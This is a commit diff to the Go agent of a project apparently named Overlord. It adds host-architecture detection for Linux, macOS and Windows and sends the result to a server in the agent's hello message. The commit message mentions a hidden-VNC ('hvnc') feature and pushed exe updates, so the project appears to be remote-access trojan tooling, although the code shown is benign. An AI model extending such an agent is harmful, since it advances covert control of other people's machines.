fix hvnc issue, fix build watcher issue, fix wrong type of exe being sent on updates.

Overlord-Client/cmd/agent/session.go

@@ -669,6 +669,7 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
 	hello.IsAdmin = sysinfo.IsAdmin()
 	hello.Elevation = sysinfo.Elevation()
 	hello.Permissions = sysinfo.DarwinPermissions()
+	hello.HostArch = sysinfo.HostArch()
 
 	if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil {
 		return fmt.Errorf("send hello: %w", err)

Overlord-Client/cmd/agent/sysinfo/sysinfo_darwin.go

@@ -4,6 +4,7 @@ package sysinfo
 
 import (
 	"fmt"
+	"runtime"
 	"strings"
 	"unsafe"
 
@@ -43,3 +44,15 @@ func totalRAM() string {
 	mb := float64(total) / (1024 * 1024)
 	return fmt.Sprintf("%.0f MB", mb)
 }
+
+func HostArch() string {
+	if machine, err := unix.Sysctl("hw.machine"); err == nil {
+		switch machine {
+		case "x86_64":
+			return "amd64"
+		case "arm64":
+			return "arm64"
+		}
+	}
+	return runtime.GOARCH
+}

Overlord-Client/cmd/agent/sysinfo/sysinfo_linux.go

@@ -5,7 +5,9 @@ package sysinfo
 import (
 	"fmt"
 	"os"
+	"runtime"
 	"strings"
+	"syscall"
 )
 
 func collectPlatform() Info {
@@ -97,3 +99,28 @@ func totalRAM() string {
 	}
 	return "unknown"
 }
+
+func HostArch() string {
+	var utsname syscall.Utsname
+	if err := syscall.Uname(&utsname); err == nil {
+		buf := make([]byte, 0, len(utsname.Machine))
+		for _, c := range utsname.Machine {
+			if c == 0 {
+				break
+			}
+			buf = append(buf, byte(c))
+		}
+		machine := string(buf)
+		switch machine {
+		case "x86_64":
+			return "amd64"
+		case "aarch64":
+			return "arm64"
+		case "armv7l":
+			return "armv7"
+		case "i686", "i386":
+			return "386"
+		}
+	}
+	return runtime.GOARCH
+}

Overlord-Client/cmd/agent/sysinfo/sysinfo_windows.go

@@ -4,6 +4,8 @@ package sysinfo
 
 import (
 	"fmt"
+	"os"
+	"runtime"
 	"strings"
 	"unsafe"
 
@@ -112,3 +114,25 @@ func totalRAM() string {
 	mb := float64(ms.TotalPhys) / (1024 * 1024)
 	return fmt.Sprintf("%.0f MB", mb)
 }
+
+func HostArch() string {
+	if arch := os.Getenv("PROCESSOR_ARCHITEW6432"); arch != "" {
+		switch strings.ToLower(arch) {
+		case "amd64":
+			return "amd64"
+		case "arm64":
+			return "arm64"
+		}
+	}
+	if arch := os.Getenv("PROCESSOR_ARCHITECTURE"); arch != "" {
+		switch strings.ToLower(arch) {
+		case "amd64":
+			return "amd64"
+		case "arm64":
+			return "arm64"
+		case "x86":
+			return "386"
+		}
+	}
+	return runtime.GOARCH
+}

Overlord-Client/cmd/agent/wire/protocol.go

@@ -7,6 +7,7 @@ type Hello struct {
 	Host        string          `msgpack:"host"`
 	OS          string          `msgpack:"os"`
 	Arch        string          `msgpack:"arch"`
+	HostArch    string          `msgpack:"hostArch,omitempty"`
 	Version     string          `msgpack:"version"`
 	User        string          `msgpack:"user"`
 	Monitors    int             `msgpack:"monitors"`